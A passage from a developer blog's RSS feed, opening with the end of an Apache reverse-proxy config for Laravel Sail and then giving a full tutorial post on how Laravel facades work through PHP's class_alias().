        <span class="hljs-attribute"><span class="hljs-nomarkup">Order</span></span> <span class="hljs-literal">deny</span>,<span class="hljs-literal">allow</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Allow</span></span> from <span class="hljs-literal">all</span>
    <span class="hljs-section">&lt;/Proxy&gt;</span>

    <span class="hljs-attribute">ProxyPass</span> / http://yoursite.com:<span class="hljs-number">81</span>/ retry=<span class="hljs-number">1</span> acquire=<span class="hljs-number">3000</span> timeout=<span class="hljs-number">600</span> Keepalive=<span class="hljs-literal">On</span>
    <span class="hljs-attribute">ProxyPassReverse</span> / http://yoursite.com:<span class="hljs-number">81</span>/
    <span class="hljs-section">&lt;Location /&gt;</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Order</span></span> <span class="hljs-literal">allow</span>,<span class="hljs-literal">deny</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Allow</span></span> from <span class="hljs-literal">all</span>
    <span class="hljs-section">&lt;/Location&gt;</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteEngine</span></span> <span class="hljs-literal">on</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteCond</span></span> <span class="hljs-variable">%{SERVER_NAME}</span> =yoursite.com
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> ^ https://<span class="hljs-variable">%{SERVER_NAME}</span><span class="hljs-variable">%{REQUEST_URI}</span><span class="hljs-meta"> [END,NE,R=permanent]</span>
<span class="hljs-section">&lt;/VirtualHost&gt;</span>
</code></pre>
<p>Last thing go to your project path then run</p>
<pre><code class="lang-bash">./vendor/bin/sail up -d
</code></pre>
<p>And open your link that's it.</p>
]]></content:encoded></item><item><title><![CDATA[Laravel Magic]]></title><description><![CDATA[If you are new to Laravel or any framework, You may be confused and sometimes when you start learning you may find some built-in classes or functions that…]]></description><link>https://blog.mgahed.com/laravel-magic</link><guid isPermaLink="true">https://blog.mgahed.com/laravel-magic</guid><category><![CDATA[Laravel]]></category><category><![CDATA[Magic]]></category><category><![CDATA[PHP]]></category><category><![CDATA[laravelframework]]></category><dc:creator><![CDATA[Abdelrhman Mgahed]]></dc:creator><pubDate>Thu, 15 Feb 2024 18:40:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1708022257708/834d2b52-8d91-4675-8f3d-2d0d560f5202.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you are new to Laravel or any framework, You may be confused and sometimes when you start learning you may find some built-in classes or functions that you don't know where it comes from and sometimes you are saying It's a magic trick.</p>
<p>So, I will give you one Example of Laravel Magic.</p>
<p>In the following Image I created a simple command that count the user in Database and you can find that we used DB Class from <code>Illuminate\Support\Facades</code></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Commands</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Command</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Support</span>\<span class="hljs-title">Facades</span>\<span class="hljs-title">DB</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MagicTrick</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Command</span>
</span>{
    <span class="hljs-keyword">protected</span> $signature = <span class="hljs-string">'magic:run'</span>;

    <span class="hljs-keyword">protected</span> $description = <span class="hljs-string">'Show a magic trick'</span>;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params"></span>)
    </span>{
        $usersCount = DB::table(<span class="hljs-string">'users'</span>)-&gt;count();
        <span class="hljs-keyword">$this</span>-&gt;info(<span class="hljs-string">"Users count: <span class="hljs-subst">$usersCount</span>"</span>);
    }
}
</code></pre>
<p>And when we run it.</p>
<pre><code class="lang-bash">php artisan magic:run
</code></pre>
<p>We will find that.</p>
<p><code>Users count: 1</code></p>
<p>Till now its fine but what about if we removed this line <code>use Illuminate\Support\Facades\DB;</code></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Commands</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Command</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MagicTrick</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Command</span>
</span>{
    <span class="hljs-keyword">protected</span> $signature = <span class="hljs-string">'magic:run'</span>;

    <span class="hljs-keyword">protected</span> $description = <span class="hljs-string">'Show a magic trick'</span>;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params"></span>)
    </span>{
        $usersCount = \DB::table(<span class="hljs-string">'users'</span>)-&gt;count();
        <span class="hljs-keyword">$this</span>-&gt;info(<span class="hljs-string">"Users count: <span class="hljs-subst">$usersCount</span>"</span>);
    }
}
</code></pre>
<p>We will get the same result.</p>
<h3 id="heading-so-how-it-works">So How it works?</h3>
<p>Laravel behind the scene uses class alias.</p>
<p>Let Me explain it in a simple way. For Example create a simple Enum Class</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Enums</span>;

enum Gender: <span class="hljs-keyword">string</span>
{
    <span class="hljs-keyword">case</span> MALE = <span class="hljs-string">'M'</span>;
    <span class="hljs-keyword">case</span> FEMALE = <span class="hljs-string">'F'</span>;
}
</code></pre>
<p>Then get back to the command</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Commands</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Enums</span>\<span class="hljs-title">Gender</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Command</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MagicTrick</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Command</span>
</span>{
    <span class="hljs-keyword">protected</span> $signature = <span class="hljs-string">'magic:run'</span>;

    <span class="hljs-keyword">protected</span> $description = <span class="hljs-string">'Show a magic trick'</span>;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params"></span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;info(<span class="hljs-string">'Male Enum value: '</span> . Gender::MALE-&gt;value);
    }
}
</code></pre>
<p>Then when we run we will get <code>Male Enum value: M.</code></p>
<p>What will happen if we remove <code>use App\Enums\Gender;</code></p>
<p>We will get an error <code>Class "App\Console\Commands\Gender" not found</code></p>
<p>So if we want to use a magic here simply we can use a simple PHP function <code>class_alias()</code></p>
<pre><code class="lang-php">class_alias(<span class="hljs-string">'App\Enums\Gender'</span>, <span class="hljs-string">'Gender'</span>);
</code></pre>
<p>You can simply put the above snippet into your service provider to use the alias anywhere in your project</p>
<p>Your final code in command will be:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Commands</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Console</span>\<span class="hljs-title">Command</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MagicTrick</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Command</span>
</span>{
    <span class="hljs-keyword">protected</span> $signature = <span class="hljs-string">'magic:run'</span>;

    <span class="hljs-keyword">protected</span> $description = <span class="hljs-string">'Show a magic trick'</span>;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params"></span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;info(<span class="hljs-string">'Male Enum value: '</span> . \Gender::MALE-&gt;value);
    }
}
</code></pre>
<p>Finally you can check the following link of <strong>Mohamed Said</strong> to learn more about Laravel magic tricks<br /><a target="_blank" href="https://laracasts.com/series/demystifying-laravel-magic">Laravel Magic Tricks</a></p>
]]></content:encoded></item></channel></rss>